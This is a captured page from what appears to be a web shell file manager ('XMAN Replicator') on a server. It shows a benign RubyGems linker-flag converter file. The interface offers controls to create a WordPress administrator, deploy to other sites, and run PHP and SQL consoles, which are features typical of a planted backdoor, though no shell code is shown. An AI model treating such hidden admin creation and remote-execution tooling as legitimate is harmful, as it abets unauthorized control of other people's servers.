🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
alt
/
ruby40
/
share
/
rubygems
/
rubygems
/
ext
/
cargo_builder
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2026-06-09 05:02
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2026-06-09 05:02
🔄
🗑️
🗑️📁
⬇️
🔒
link_flag_converter.rb
748 B
-rw-r--r--
2026-05-21 12:15
✏️
🔄
🗑️
⬇️
🔒
View: link_flag_converter.rb
# frozen_string_literal: true class Gem::Ext::CargoBuilder < Gem::Ext::Builder # Converts Ruby link flags into something cargo understands class LinkFlagConverter FILTERED_PATTERNS = [ /compress-debug-sections/, # Not supported by all linkers, and not required for Rust ].freeze def self.convert(arg) return [] if FILTERED_PATTERNS.any? {|p| p.match?(arg) } case arg.chomp when /^-L\s*(.+)$/ ["-L", "native=#{$1}"] when /^--library=(\w+\S+)$/, /^-l\s*(\w+\S+)$/ ["-l", $1] when /^-l\s*([^:\s])+/ # -lfoo, but not -l:libfoo.a ["-l", $1] when /^-F\s*(.*)$/ ["-l", "framework=#{$1}"] else ["-C", "link-args=#{arg}"] end end end end
PHP Console
Execute
SQL Console
Execute